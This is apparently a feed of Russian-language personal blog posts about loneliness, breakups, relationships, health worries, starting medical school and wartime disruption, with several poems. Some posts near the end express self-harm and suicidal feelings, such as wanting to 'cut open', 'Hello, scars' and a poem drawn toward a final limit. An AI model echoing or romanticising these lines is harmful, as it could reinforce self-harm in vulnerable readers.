Я очень закрытый человек, интроверт. Мне сложно общаться с людьми. Потому что я не хочу доставлять неудобства. А что, если человек со всем не желает с тобой общаться? А что, если я ему неприятна? А о чём с ним говорить? А что, если он подумает, что я дурочка с переулочка? А молчать тоже нельзя. И мнения своего нет. И ты не умеешь спорить, не можешь найти аргументы (будущий историк, ага, блин). И даже говорить не умеешь нормально. Да и жизнь у тебя такая вялая, что и нечего рассказать.

Понимаю, что это проблемы во мне, только я в состоянии их исправить. Вот только легче сказать, чем сделать.

может мне перестать обаращать внимание на ее поведение, как думаешь?

Я безумно люблю танцевать. Люблю растворяться в музыке, не слышать собственных мыслей, чувствовать своё тело, восхищаться и восхищать. Вот только я не умею танцевать. Абсолютно. Даже если меня берутся учить, выходит нечто несуразное, и все мои старания даром.

Я безумно люблю петь. Люблю учить слова, плавно ложить их на музыку, создавая нечто такое, от чего бегут муражки по коже. Я люблю вкладывать все свои чувства в текст, не оставляя никого равнодушным. Вот только петь я не умею. У меня нет ни слуха, ни голоса, поэтому всё моё "творчество" - редкое бормотание себе под нос в душевой кабине.

Я безумно люблю рисовать. Смешивать краски на палитре, придумывать новые сюжеты и воплощать их на бумаге. Водить карандашом, вырисовывая интересные линии, манящие и притягивающие чужой взгляд. Вот только, как вы уже поняли, рисовать я не умею. От слова совсем. Единственное, что у меня получается действительно красиво, дак это абстрактные смешивания красок, гордо именуемые "рассвет" "закат" и "море".

Я бы хотела родиться этаким супер-творческим человеком, со своим взглядом на мир. Который одеваеться в одежду кислотного цвета, разговаривает какими-то странными терминами и не признаёт никаких правил. Этакий "маленький бунтарь". Но очень творческий маленький бунтарь.

У меня внутри так много всего, а я даже не знаю, как это выразить.

Почему вокруг так много гнилых, двуличных и паршивых людей? Просто, блять, почемууу?
Последнее время мало с кем хочется общаться, остались единицы. Хочется просто жить, ждать приятных, добрых, веселых и душевных людей и разделять с ними жизнь.
А еще, хочу бухнуть с Ксенией, хохохо, давно в планах..)

"Лучше на куски, чем такому миру мир."

Жизнь слишком сложная, чтобы ее понять.

вчера было чудо. просто чудо

а сегодня реальность. серый понедельник. серая реальность.

очередное осознание, что ты с ней хочешь быть и просто не знаешь, как отдалить меня, не делая больно

вот такие мысли только приходят, когда тебе не отвечают..

Если наваливается, то все сразу…Это правда.

Во-первых, здоровье, как всегда. Она меня только огорчать умеет - никак не радовать. Сходила к гинекологу на плановый осмотр, обнаружилась инфекция типо молочницы. Выписали лечение на 2 недели с дорогущими препаратами. Плюс еще я хочу проконсультироваться на счет противозачаточных, которые принимаю уже довольно давно, больше 5 лет. Мой врач, у которой я наблюдалась все это время, уехала из города насовсем, пришлось искать нового. Все дело в том, что она мне рекомендовала принимать их вплоть до планирования беременности - хотя изначально мне их назначили для лечения гормонального дисбаланса. А сейчас я хочу бросить их - слишком уж дорого они стоят, да и вообще хочу слезть с этой гормональной "иглы". Начитаюсь историй девушек после отмены таких таблеток и плачу. Там все так страшно и ужасно, что по-моему лучше вообще не начинать пить КОКи. Сколько врачей в мире, ровно столько и мнений на их счет. Ей Богу, как будто в 80-х живем. Может быть кто-нибудь поделиться опытом на этот счет??

Во-вторых, здоровье 2.0 - голова опять подкруживается и болит в каких-то определенных симметричных точках ближе к вискам. Вполне возможно, что это отек от удара дверью в супермаркете, но кто его там знает…

И в конце концов свадьба. В тот момент, когда мы уже и думать забыли об этой проблеме и смирились с неизбежным, мама и бабушка вдруг стали соглашаться на наши условия. Более того, теперь меня просто уговаривают выходить замуж именно сейчас, и, цитирую: "уже что-нибудь решать и определяться со своим статусом". То есть они действительно бояться, что мы можем разбежаться. Вот только откуда такие мысли и такая неуверенность?

я, как дибил, стучусь в закрытую дверь. зачем только вот?

зачем дарить надежду и на следующий день ее же убивать: (

Дима не понял, что мне не нравится. Как мне может не доставать его внимания, когда он почти все свое свободное время рядом проводит. Может я слишком строга к нему или не могу объяснить, что чувствую? Когда я пытаюсь сформулировать, чего мне не хватает, я как будто все слова забываю. Вот например, мне не хватало того, что было сегодня вечером. Он сказал, что хочет посидеть со мной в машине. Не просто довез меня до дома и поехал к друзьям, а еще захотел побыть со мной. Наверное, мне не хватало инициативы и ласки. Мы много дурачимся и веселимся, Дима любит грубые шутки и иногда я забываю, что он любит меня. Я долгое время умалчивала о том, что мне что-то не нравится. Сейчас даже сложно вспомнить все за раз.

"Отношения распадаются не из-за скуки или недопонимания. Просто поначалу люди притворяются такими, какими бы их хотели видеть… а потом от этого устают"

Был город, а стал – метр на метр клеть.
И все что осталось мне – сутулиться, пить и тлеть.
Солнце с утра, по спине моей бьет, как плеть.
Я без тебя ни петь, ни дышать не могу.

И думаю - я тут сижу, а ты там – бежишь.
И я знаю, что вроде как все хорошо, малыш.
Ты меня любишь, ты мною дорожишь…
И я тоже не остаюсь у тебя в долгу.

Я тут так же вплетаюсь утром в людской поток.
Вечерами пытаюсь склепать ну хоть пару строк…
Где же мой критик, что справедлив и строг?
Мне некому показать эту всю бумажность.

Почерк, конечно, плох, да и мысль тонка.
У меня тут любовь – прям от пола и до потолка,
Мне нужна, просто необходима твоя рука…
Чтобы я, засыпая, за пальцы твои держалась.

Я помню тебя, словно десять минут назад –
Улыбку, дыхание, запах от кожи, взгляд…
Ты мне дороже брильянтов в 500 карат…
Если б могла – ни за что бы не отпускала…

Хочется утром проснуться – и год прошел,
Вот он же ты, спишь рядом, уже пришел…
Кто бы такое лекарство вдруг изобрел –
Чтобы я от тоски дышать не переставала.

Это лето пустое, если тебя в нем нет.
Есть закаты, рассветы, в окнах соседских свет.
На твоей половине кровати лежит лишь плед,
Иногда заменяясь мною или котом.

Я люблю тебя. Сильно. Больше, чем можно сказать.
Мне сегодня котов кормить и одной засыпать.
А так хочется твои плечи родные обнять…

Ты есть. И я жду. Остальное – переживем.

Мой бухает и бухает, пытаясь залить печаль по ходу, ибо его накатали воспоминания. А какие воспоминания? Правильно, по бывшей (с ней 4 года вместе был). Сказал, что хрен с ней, период такой.

Ну как бы этот период не затянулся, ибо то, что сейчас в настоящем тоже может превратиться в "воспоминания".

И ему по ходу поебать, что чувствую я.

Такая пьяная. Давно с вина так не уносило.

Почему нет приложения вьюи?? Уже даже были мысли самой создать! И почему нельзя добавить фото с мобильной версии? Пойду гуглить "как создать приложение на андроид"

наконец то 2 месяца позади и уже завтра я еду встречать моего родного мальчика

Хочу удалить из инстаграма почти все фотки и оставить парочку где я #самаясамая и остальные где #пейзажикизакатикирассветики. Но и хочу скидывать свои фотки - *женщины блин*. Пока еще боюсь (не знаю даже почему) скидывать ссылки на соцсети и личные фото сюда. И боюсь называть полностью имена здесь. А еще безвумно хочу рассказать историю своего дня рождения, моих # sweеt18, и расскажу, создам красивый пост, но позже. Очень благодарна бывшему мч за такой праздник, для все было просто шикарно!

-- пошли курить! -- да иду! я что, была против когда-то? -- да, когда не курила! противная такая была! (с) с сашей

В субботу приснился сон, как я собираюсь стричься (именно собираюсь, а не стригусь). Из - за своего графика (6/1 или 5/2 с 9.00 до 21.00) все никак не получается это сделать. Плюнув на все, сижу в салоне и жду своего парихмахера, который мне снился в предвкушении мини-массажа головы :)

Спасибо тебе за все, за первую шоколадку на последний звонок, вроде альпен гольд, молочный. За первый поцелуй в палатке, от которого, как ты потом сказал, офигел. За по следующий поцелуй под дождем, когда ты приехал из Челябинска. За розового мишку, за все цветы, особенно за последние, которые ты дарил, они до сих пор засушенные дежат у меня в шкафу, за кольца, которые я просто не смогу уже одеть, потому что больно, за браслет, за рамочки, которые я вряд ли смогу поставить на место, за тот сюрприз в офисе, я никогда не забуду, как я сидела просто в шоке, ошарашенная и не могла ничего говорить, просто я тогда была счастлива, несмотря ни на что, несмотря на все твои косяки, спасибо за поддержку и понимание, за то, что терпел меня, за ласку, за нежность, за ту теплоту, которую ты всегда хотел мне передать, никогда не забуду, как мы гуляли по моей улице и ты шел спиной вперед, чтобы ветер не дул мне в лицо, за то, что пытался меняться ради меня, за то, что учился, за то, что переносил меня на руках, когда впереди были грязь или дужа, за то, что простил меня за общение с людьми, которые мне не нравились, за то, что провожал и встречал меня каждый день в школу и после, за то, что носил мою сумку, за то, что ждал, пока я накрашусь, за общие планы на будущее.за темы, что, когда мы будем вместе жить, ты заведешь двух собак, а я кота, и я не представляла себе будущего иначе.за эти скидывания друг друга в сугроб, за то, что простил, когда ты случайно упал в канаву из-за меня, за каждое "доброе утро" и каждое "спокойной ночи", спасибо за каждый твой псих, мне так нравилось всегда успокаивать тебя, за каждую перемену в курилке, за каждое: " а короче юбки ты не нашла ?", спасибо за каждую отправленную песню и статус, спасибо за твои кудряшки и за твои взгляды, за каждый поцелуй, за то, что сидел со мной, когда я уснула в парке, спасибо за все чехлы, особенно за последний, за твои приезды в Уфу, за поход в кино, за неделю в нефтяном, за панду, за все, за эти три года, за этот урок, который ты преподал, что я теперь просыпаюсь и засыпаю со слезами на глазах, но я никогда не думала, что ты будешь мне делать так больно….Спасибо тебе за все, родной, но уже такой далекий.Я не понимаю, что я делаю не так.но видимо я тебя потеряла….

Вот проходит мой первый день в одиночестве. Мы встречались практически 4 года — чуть-чуть не дотянули. И теперь как-то странно себя ощущаю и ничего не могу понять. Особенно слышать от самого, казалось, близкого человека "я хочу пожить для себя". Слушаю лог дога на репите. Он в тему. Вообще лог дог и Ассаи из лав. Но как сказал мой друг-американец "you have to move on. U will be very happy and u have to be with someone who will appreciate urself because u r a very beautiful, positive and perfect girl" Ну или что-то вроде того, дословно не помню. Но Move on запомнилось. Я не ощущала счастья такого вот простого и не надуманного уже пол года. То время, что мы съехались А какого мне было, когда я услышала, что ему было лучше, когда мы не съезжались? Не сладко, как бы.. Никогда никому за 4 года практически ничего не рассказывала. Не любила ничего выносить из отношений, но сейчас рассказала семье, подругам.. Очень нужна поддержка. С одной стороны, не изменилось ничего, мир все тот же, а с другой стороны, мир рухнул. Самое странное, что больше двух лет, даже наверное трех — он был самым идеальным человеком на планете. Я чувствовала любовь каждую сегодня, чувствовала, что ко мне тянутся.. Но потом все изменилось. Почему? Не известно.

Я не могу, меня трясет, я снова реву.хотела тебе написать, а я в чс, возможно ли тебя вернуть ? Но после твоего "Удачи", через секунду мне пришло "Доброе утро" от общего для нас знакомого, которого ты очень "любишь".

Странно все обернулось, я теперь пытаюсь тебя вернуть, я бегаю за тобой. Мое лето волшебства закончилось, раньше конечно, но все же, теперь снова борьба, учеба, проблемы.Я встаю каждое утро и открываю для себя новые горизонты, например я играю на синтезаторе, вяжу, снова хожу в тренажерку, наслаждаюсь. Хочу просыпаться и засыпать без этой боли, ты просто не представляешь, каково это. Я не писала тебе до этого, потому что мы общались, но потом я поняла, что не хочу быть запасным планом, я тебе все равно не нужна.поэтому и ушла от тебя. Я хочу уже в Уфу, тут каждый камешек напоминает о тебе, это невозможно. Приеду в Уфу и куплю себе панду

Такое ощущение, что все повернулось ко мне спиной, и все. Зачем ты врешь и питаешь меня надеждами, что вы с ней расстались, зачем, если твое поведение иное???! Я безумно хочу все вернуть, я хочу вернуть тебя, я люблю тебя! Как бы я не старалась тебя забыть

До этого не могла писать, я была в Уфе, ты знаешь об этом. Ты написал:"Радуйся". А чему я должна радоваться, ты все равно меня предал

Сегодня весь день была в деревне и поняла, что там моя боль проходит, там я понимаю, что ценить нужно именно их, родных. Зачем ты мне написал, я только начала отходить от тебя и жить сама.. Я каждый день захожу на ее страницу и вижу, как ты лайкаешь каждую ее запись. У меня была возможность взять и уехать сегодня с кем-то не знаю куда, сделать не знаю что, отомстить тебе, я этого не сделала.

Мы давненько серьёзно не ругались. Почему бы не поссориться перед нашим днём? А, главное, повод-то какой.

Влад меня вчера не провожал. Я очень устала, отрубилась по приезде домой, не успев ему сообщить, что доехала. Звонил Женька, я скидывала, после написала смс, что сплю, а он в ответ: "Ок, Влад искал тебя". Утром звонил Лёшка, я ещё спала, сообщил, что меня ищет Влад. Я сразу зашла вк, ответила ему, но он игнорил мои сообщения. В 5 Влад должен был ко мне приехать, помочь с учёбой, после съездить со мной по делам. Я ждала до последнего, за 20 минут до моего отхода, он появился вк, я ему написала, но и утренние и последние сообщения остались непрочтёнными. Звонил Ваня, Рустик, от которых я узнала, что мы с Владом в ссоре- он им сказал. Я даже не знаю, как на это регаировать..

Спроси "Почему?".

И затем спроси "почему?" снова.

И затем спроси "почему?" снова.

И затем спроси "почему?" снова, и затем спроси "почему?" снова, и не переставай спрашивать до тех пор, пока не найдешь ответ.

Обидела Сережу.. никогда не думала, что люди могут обидеться на такую, как мне казалось, глупость;( ( Я устала:(( (неужели, я и вправду такая плохая.. хотя кого я обманываю, наверное да..

Только что я закончила просмотр фильма "Макс"(2015). И знаете, пусть фильм давольно-таки банален, считаю, что каждая\каждый, кто любит животных(особенно собак) должны посмотреть его. На сегодняшний день это лучший кинчик за мою жизку. Ибо я пережила море эмоций за эти два часа. Такие дела.

Подарите мне маску

Утром я пошла в зал и по дороге туда слушала музыку. Вспоминала, как Дима приехал с вахты и фотографию с "малышом" Афоней. Меня охватило безграничное счастье, что я с ним. Я так люблю, как он улыбается мне в тот миг, когда впервые за день видит меня. Это бесценно. Мы сегодня много валялись, занялись сексом, попили чай, съездили за кедами. Он привез меня домой и еще минут 30 мы смотрели наши фотографии. И я лежала у него на коленях. Мне было так хорошо, словами не передать. Он гладил меня по волосам и говорил, что я милая. С ним не кажется, что мы так долго вместе. Мои чувства усиливаются с каждым днем, а страсть не утихает.

Всё ещё считаю, что человек всегда был тем, кем должен был быть. Даже если пару лет назад, он был неудачником, а сейчас возвысился, даже если он терпеть не мог попсу, а сейчас выступает в группе, даже если он ел мясо, а теперь вегетарианец.. Он тот -кем должен быть. И это его выбор.Надеюсь- что его. А не общества.

В столь юном возрасте я начинаю терять всякую мотивацию жить, я устаю от жизни

Модные луки «Игры престолов»

ㅤㅤㅤㅤㅤㅤㅤㅤㅤㅤㅤㅤㅤㅤㅤㅤㅤㅤㅤㅤㅤㅤㅤㅤ What if you sick of me? Иногда, точнее чаще всего я прихожу сюда с грустными мыслями и плохими постами, этот пост относится именно к этому " иногда ". Я вновь пришла написать о том, что это лето было самым бессмысленным и никаким, если сравнивать его с каким-либо другим летом в моей жизни. Это лето не оправдало никаких ожиданий, которых в принципе даже не было, да и вообще, мало ли того, что я просто считаю это лето официальным провалом? Я вот считаю, что этого не мало. Оно полностью, всё от начала до конца — отвратительное . Оно никакое, в прямом смысле этого слова. Оно никакое. Если сравнивать это лето и прошлое, например, то начало прошлого было очень отстойным, а начиная с середины до самого конца — самым лучшим. Но та хрень, которой я сейчас называю "лето", это вот просто ничто, правда. Я пришла написать пост полный обиды на весь этот мир. Вот с чего начинается обида: я перекрасилась. Я была оранжевой, была красной, розовой, синей, зеленой, в итоге с прошлого августа я ходила черной, и наконец я перекрасилась в самый обычный цвет , примерно в темно-русый. Не скажу, что обычно такие вещи волнуют меня, но когда ждешь, что у тебя поинтересуются, что же ты все таки сделала с волосами, а этого не происходит, становится немного обидно, потому что в общем-то наплевать как бы на тебя. Правда, понимаю, звучит как от избалованной девахи, но почему бы просто не поинтересоваться ? Почему просто нельзя спросить, " а что ты сделала с волосами ?", это что, так сложно? почему я должна всегда всем все говорить? почему всю мою жизнь все именно так? Почему всему миру плевать на меня , что я делаю или сделала не так? Серьезно, это вот такая простая вещь, которая так волнует меня, а задать какой-то вопрос или вообще заметить это — сложно . Так правда всю мою жизнь. Людям никогда неинтересно, что происходит со мной и как я вообще живу каждый день. Сейчас, например, у меня снова температура, — скажи я об этом хоть кому-то — всем, абсолютно всем будет наплевать. Это уже проверенная вещь. Опять таки, это меня обычно не волнует, но сегодня у меня что-то не так с головой или что, но мне ужасно обидно . Я же тоже человек, у которого есть чувства и вообще, я не кукла , блять. И мне требуется простое человеческое внимание. Между делом — сегодня с шкафа на меня упал мольберт, прям на ту самую голову, с которой что-то сегодня не так. Ну упала и упала, в принципе, что такого? Но, так как всем все равно плевать , я никому об этом и не сказала. Подумаешь, ударила огромная тяжелая херня по голове, ну с кем не бывает? А я может быть раз в год хочу, чтобы за меня переживали. Ну кому раз в год этого не хочется? Мне отстойно. Мне попросту отстойно быть мной сегодня. Никому никогда не интересно, чем я занимаюсь, да никому вообще никогда неинтересна я. Почему так сложно поинтересоваться у меня хотя бы раз в неделю о том, что меня волнует? Так было всегда. Всю мою жизнь, и последнее время меня начало напрягать, что все это не заканчивается. Все всегда именно так.

что ни налью в стакан - через час там виски. cлушай, нам тесно в пределах одного Кирова. так что, давай, уебывай по-английски из моей жизни, постели, и головы.

искала любь в твоих глазах-нашла там лишь похуй

удивляюсь, как много всего странного может случиться с тобой даже тогда, когда ты одна в квартире и не покидаешь ее весь день.

вчера Сильвия спросила, есть ли у меня пропуск в Мариуполь. у меня его нет. и я даже подать на него заявку не могу - сайт не работает. так что я без работы на хз сколько времени.

позвонила в универ. оттуда мне сообщили, что, если мы не явимся на учебу до 10 сентября, нас отчислят. эм, вчера опять начались обстрелы. блин, я не могу. у нас до войны такой херни не было. у института катастрофическая нехватка студентов, так они еще и оставшихся запугивают, е-мае. у меня один одногруппник в Артемовске живет - на той стороне фронта. и у него велика вероятность того, что его, не дай бог, заберут на блокпосту в армию. может, у кого-то нет денег туда поехать?? да хотя бы из соображений безопасности туда ехать не надо! сука. в какую дыру я попала 3 года назад.

но не это самое эпичное. предыстория: я редко не закрываю входные двери. а тут систер ушла к подруге, но обещала вернуться. естессно, я не закрылась, плюс по времени мама должна была вернуться. и вот сижу я себе в зале, залипаю с ноутом, как звенит дверь. ну, думаю, Рита или мама вернулись, все ок. слышу, как открылась дверь - думаю, молодцы, додумались ручку дернуть. тут я слышу голоса. чужие. охреневшая и испуганная дохожу до коридора и вижу соседей снизу, которые беспардонно прут из прихожей уже в зал, громко причитая "тут, наверно, никого нет!". видят меня. узнают, что отец вчера уехал. сокрушаются, что как так, они его не застали, вручают мне какой-то пакет и валят из квартиры. они свое дело сделали, а у меня случилась паническая атака. что это вообще за хрень была???

через три минуты у меня звонит телефон - номер незнакомый. надо сказать, что на меня почти всегда накатывает паника, когда я слышу, как у меня звонит телефон, и это в принце не нормально. а тут еще и номер незнакомый. звонит девушка из Орифлейма (откуда у них мой номер, если я ваще с Орифлеймом не дружу и не пользуюсь???????) и говорит, что у меня на бонусной карточке (?!?!?!??!) достаточно бонусов и что я могу забрать свой подарок В ДРУГОМ ГОРОДЕ. и это не было ошибкой - она назвала полностью мое имя. что за нахрен [2]??

и это еще не конец дня. я прям предвкушаю.

тру стори

Всегда есть человек, разговор с которым необходим, как глоток свежего воздуха. Такие разговоры могут быть раз в несколько месяцев, раз в полгода - неважно. Главное, что они наполняют силой, надеждой, светом. И такое умиротворение внутри, такое спокойствие после них.
Потому что в каждом слове - поддержка. В каждом молчании - понимание.
Потому что не нужно ничего объяснять.
Потому что человек знает тебя лучше, чем ты сам себя знаешь.

Уже битый час прожигаю взглядом чистый лист бумаги и не знаю, с чего начать.
Мысли, которые безудержным потоком носились из стороны в сторону вмиг утихли. Так бывает всегда: когда не нужно, в твоей голове возникает миллион идей, но как только ты пытаешься сформулировать одну-единственную мысль — они разом исчезают.

все стремительно и неуловимо меняется. но вполне ожидаемо. плюшевая снова пропадает, мисс неопределенность сложно и другом назвать, что говорить о лучшем? зато "Я" забыла о своем заблуждении, что это первая буква алфавита и здорово помогла мне этим летом. друг познается в беде. помните?

лечь в восемь утра, проснуться в три часа дня, смотреть сериалы, не вставая из постели, выползти в коридор в семь вечера.

i think, it's a new record, ladies and gentlemen!

Не знаю, сколько ещё раз должны меня "кидануть", чтобы я поняла, что в этой жизни можно положиться только на себя.

Я вот хочу что-то написать, а вроде бы не хочу. Ненавижу такое состояние, когда все вроде бы хорошо, а тебе к ноге будто гирю привязали, и ты тащишь этот груз, никак не можешь избиваться. И я уже писала, что такое состояние я называю "ЗАЖРАЛАСЬ". Именно к это состояние мне хочется быть кем-то другим, я начинаю анализировать себя, свои поступки, но каждый раз вывод один и тот же: я ненавижу себя и то, что делаю. Я только сейчас поняла, что хочу быть ветеринаром. Съездив в деревню неделю назад, пообщалась с местными котятами, которых бабушка кормит, я поняла, как мне нравится общаться с животными, и кстати говоря, всегда нужная и полезная профессия. А потом я понимаю, что если бы не поступила на Рекламу, не встретила бы Д. Так что я полагаю, что то, что не делается, все к лучшему - истина. Я за последний год стала верить, что наши судьбы уже где-то записаны, мы, конечно, можем выйти из этого, но какая-та невиданная сила вернет нас в систему. Иными словами, что суждено, то суждено. И как бы ты не бегал от судьбы, она тебя все равно найдет.

провожаю сегодня утром папу на работу, спрашиваю, не забыли ли чего?
а он отвечает, что Дашу забыл, эх, вот бы можно было ее уменьшить, положить в кармашек и всегда везде носить с собой.
улыбаюсь и умиляюсь целый день.

попадание в цвет

jezebel, И НЕ ТОЛЬКО (бля, ну я же умею нормально!)

нахуй кем-то становиться, мне бы собой остаться.

Nadoli: ♥

Не люблю, когда печаль управляет мной! И ты, как дура, сидишь и ждешь того момента, когда тебя уже эта печать отпустит, когда ты забудешь это все и начнешь жить, как прежде, но увы, нужно время.

Надеюсь, у вас, мои дорогие, все лучше, чем у меня;*

Мира и добра вам ♥

Привет всем, кто меня еще помнит. Вот мой прежний аккаунт https://vanysha.viewy.ru/

Все дело в том, что я забыла свой пароль. Обычно я ввожу какой-то из своих четырех вариантов пароля, но здесь не подошел ни один из них. Потом я попыталась восстановить его с помощью электронной почты, но мне постоянно выбивает какую-то ошибку, и ничего не можно поделать. Тогда я благополучно решила забросить блог. Но сейчас понимаю, что мне это нравилось – писать о своей жизни, читать других людей. Здесь какая-то особенная атмосфера, так что я решила вернуться. Пусть под другим именем, но все же.

Что ж, я та самая девочка, ждавшая списков зачисления из медицинского института. И меня зачислили. Как ни странно, это не принесло особой радости ни мне, ни моим родителям. Все как будто были уверенны в том, что я поступила, и ничего другого не ожидали. Обидно, конечно, но мне не привыкать.

На следующий день мы с мамой повезли документы. Ехать довольно долго – расстояние почти 400 километров. Ночь в поезде, пересадка во Львове, еще два часа езды, и вот я уже ступаю на вокзал города, в котором проведу (надеюсь) ближайшие 6 лет. ИФ очень красивый, мне ну безумно все понравилось, хотя видела я только дорогу института и обратно. Но мне этого хватило. До сих пор помню, что пережила, увидев главный корпус воочию. На картинках в интернете все выглядело по-другому. Город очень отличается от моего, и от нашего областного центра в том числе. Прежде всего тем, как там говорят. Чистый украинский язык, а этот акцент…

Перед этим мне кто-то сказал, что нужно будет пройти собеседование, ответить на кое-какие вопросы, так что в поезде я читала учебник по анатомии) Но всего этого не было, меня просто отправили в зал, где я увидела много таких же испуганных глаз, и это меня успокоило. Мама тем временем познакомилась со многими родителями, в том числе с мамой девочки из нашей области, и поезд мы ждали вместе. Вообще, все были очень дружелюбными и это, пожалуй, самое главное.

Вот только с общежитиями у них проблемы. нам дали написать заявление, но сказали звонить после 25. Завтра же первым курсам выдают учебники, поэтому сегодняшнюю ночь я тоже проведу в поезде.

К учебе я готова практически полностью. У меня уже есть белый халат (наконец-то свой собственный, а не мамин), шапочки, недавно купили ноутбук и кое-какие вещи. Только вот канцелярию я еще не покупала, так как не знаю, что может пригодиться. Нужно будет купить пару общих тетрадей, обо всем остальном расскажут потом. А еще мне немного пугает то, что у нас целых десять учебных корпусов, и я должна буду бегать по городу, которого совершенно не знаю.

Недавно перечитывала свои старые дневники. И мне вот безумно захотелось, чтобы все это поскорее прошло, оказаться бы сейчас где-то в ноябре и читать обо всем этом, улыбаясь. Понимая, что ничего страшного не было. Я все же немного боюсь. Первый месяц всегда самый сложный. Меня пугает все: то, с кем меня поселят, какая будет группа, справлюсь ли я с ужасными нагрузками…

А пока я наслаждаюсь последними днями свободы, очень много читаю, качаю фильмы на торренте. Последнее время старалась как можно больше времени проводить с семьей, потому что видеться будем раз в два-три месяца.

Я теперь студент.

Конечно, эту тему я сама задолбалать мусолить у себя в голове, но хочу вот здесь это написать и забыть все к черту.

В общем, без 5 минут год назад, прекрасный ТМЗ ни с того ни с сего отправляет меня в чс, удаляет из друзей и закрывает какой либо доступ к себе без причины. Без причины. Я же естественно была в недоумении… но занялась собой. Точней своей жизнью. Уже привыкла, когда в жизни творится пиздец занимай свою жизнь активной деятельностью, выматывайся так, что бы не было сил на этот пиздец, который с тобой произошел. Иными словами "убегаю от проблем".

короче почти год он не появлялся, но я его видела на улице, в трц (отварачивалась конечно, по привычке, чтобы не заметил меня). я уже оклималась (p/s это человек был моим домой, самым уютным и самым комфортным, это к сведению), встречалась с другими парнями, вела активную жизнь в универе, веселилась, открыла для себя другую сторону жизни, новый коллектив и много чего другого.

но

в каждой истории ведь есть НО. вот и тут оно присутствует.

Но спустя почти год появляется распрекрасный ТМЗ и будто ничего не было пишет мне, узнает как дела и как на личном (к сведению, личное я всегда храню и мало кому рассказываю). я же грубо в ответ отшиваю его.И вроде самооценку себе повысила, и отшила бармалея, и вроде бы правильно поступила (ибо цену должна же я себе знать, хоть какую то), но что то глушило внутри, ведь к нему тянуло несмотря на все его отношение ко мне.

По итогу, мы заобщались. У него есть девушка, с которой он уже продолжительное время встречается. Я все время отшучиваюсь "на свадьбу не забудь пригласить!". Выяснили отношения, почему я с ним общаюсь? да, наверно потому что моя великая память и добродушное сердце хранит воспоминания о нем, как о хорошем человеке, каким он был со мной(с хорошим отношением), а он общается потому что ему со мной легко и просто "ну, как тот уютный дом, про который мы всегда говорили".

по сути от него хочется простой дружбы. Просто лучшего друга как раньше. Чтобы дурачились, чтобы были свои шуточки и ничего кроме.

но, видимо как раньше уже не будет.

Вот он такой человек, с которым мне не стоит общаться, он тянет вниз меня, я это прекрасно осознаю, но не могу "опять уйти" в сторону от него. будто не выдержу, что он где то там счастлив с кем то, а я просто прохожий в его жизни.

Боже, дай мне просто сил.

Прежде, чем написать/позвонить, подумай, не под влиянием ли одиночества возникло такое желание? Не будешь ли ты выглядеть жалко, прежде всего в своих глазах? Не возненавидишь ли ты себя потом?

одиночество - это внутри
засело,
заело,
заклинило.
говорит: "здравствуй "
такому же одиночеству,
а оно отвечает:
" здравствуй,
давай по имени,
без ненужного выканья
и без отчества".

одиночество - в горле,
в слове
звенит и плавится.
не все одиночества
видно на расстоянии -
иногда оно в битом стакане
щербато скалится.
кажется - человек,
на деле -
одно название.

одиночество - в мятых брюках,
в петле спущенной,
в любом "и так сойдет",
в каждом "кому есть дело".
одиночество лучше смерти.
конечно, лучше,
но
иногда так тянет
к спасительному пределу.

одиночество - кружка чая
остывшего
на подоконнике
рядом с засохшей геранью,
конфетным фантиком.
люди, конечно, все -
будущие покойники.
одиночество хоронит заживо
быстро,
качественно.

одиночество - снаружи.
часы наручные не идут месяцы -
никто не против
опозданий и неприходов.
никто не злится,
не выговаривает,
не бесится.
никто не рад,
ни "с днем рождения",
ни "с новым годом".

одиночество - залпом пить
книги,
журналы,
любое буквенное,
бумажное.
самому не писать,
потому что писать нечего.
одиночество в каждом "ладно",
" ничего важного".
в любом
" мне есть чем заняться
этим субботним вечером".

одиночество скажет "здравствуй "
такому же. "давай по имени",
" хочешь поесть
сейчас,
послезавтра,
позже? "

" можем гулять,
клинья выбивать клиньями".

одиночество лечится быстро,
но очень сложно.

• Мисанова

жизнь измеряй в физических лицах,
тех, что шагнут за тобой с обрыва:
ориентируются в больницах
лучше больных только их родные.

Меня накрывает чувство невероятной злости к себе. Почему я начала думать об обучении и самообразовании на столько поздно? Ни год ни два назад у меня не то, что не было этих мыслей и желаний, у меня вообще не было ни малейшего представления о своей жизни. Только сейчас все слова мотивации обретают свой смысл. Если ты сейчас читаешь этот пост, то умоляю тебя, остановись и подумай: все ли так в твоей жизни ? Где ты хочешь оказаться через 5 лет ? Поставь себе самую недостижимую цель, самую невероятную. И стремись, стремись, стремись к ней.

Вот я и приехала.Хорошо было в Сережи, но и было то, что мне не совсем понравилось.Дело во мне.В первые дни, когда я попала к нему, вместо того, чтобы радоваться тому, что мы опять вместе, я грустила.Грустила потому, что мне казалось, что наши отношения не то, что мне нужно.Не ткие они.Он постоянно там, я постоянно здесь.Женится он пока не хочет, я понимаю что и сама не готова к этому.А как же жить тогда я не знала.Накатывало короче.Тем более на день рождение он мне ничего не подарил, ссылаясь что нет денег.А я то знаю, что они у него есть.Должны быть, по крайней мере, так как зарплату он получает и знает когда у меня день рождения, мог бы и отложить.Я не меркантильна, но хотя бы безделушку можно было подарить.

А потом я как - то подобрела, поняла, что все равно что и как, он то меня любит.Я люблю его.А там уже будь что будет.И просто наслаждалась его присутствием и тем, что он рядом.

И кстати и меня еще одна новость - мне позвонил папа и сказал, что меня ждолжны взять на работу.Какую, он толком не знает, но это связанно с ветеринарией и это уже хорошо.Я ему рассказала о том, что я поступила, думала будет орать, но слава Богу пронесло.

Так, что завтра мне уже точно все скажут.

Он странный. Бывший физик, кандидат наук, приходит к нам на работу и рассказывает байки про Американцев, зовет меня с собой создавать фальшивые деньги и говорит, что я умная, потому что знаю о эффекте панспермии. Мне кажется, это многим известно..Он-это ненормальный дедок, который делает чью-то жизнь забавной. Может быть в молодости он мечтал покорить космос, открыть галактику и свихнулся? Ненормальный, космический, пугающий, странный человек.

скорее хочется вскрыться, нежели что-то менять.
и в каждом сне возвращаешься в лето,
сжимая конверты счастливых билетов.

Бесит, уже второй раз пытаюсь написать, то браузер виснит, то ещё что…. до сентября…

Я вернулась на 7 cups of tea.

Забавно. Ты внушаешь людям, что нужно жить, находить силы и бороться, когда ты сам в такой трясине тонешь, что даже они бы не позавидовали. Hello, scars.

Все это выглядит так жалостливо, что противно становится. На самом деле все под контролем. В свое время я усвоила множество уроков, которые пойдут на пользу. Я держалась аж целых 6 месяцев. Это настоящий рекорд. Но ночью с 22 на 23 все встало на свои места. Я там же, где и была 6 месяцев назад. Честно, меня это смешит. Давала столько обещаний, ограничивала контакт с негативом, выкинула все из головы, но вернулась.

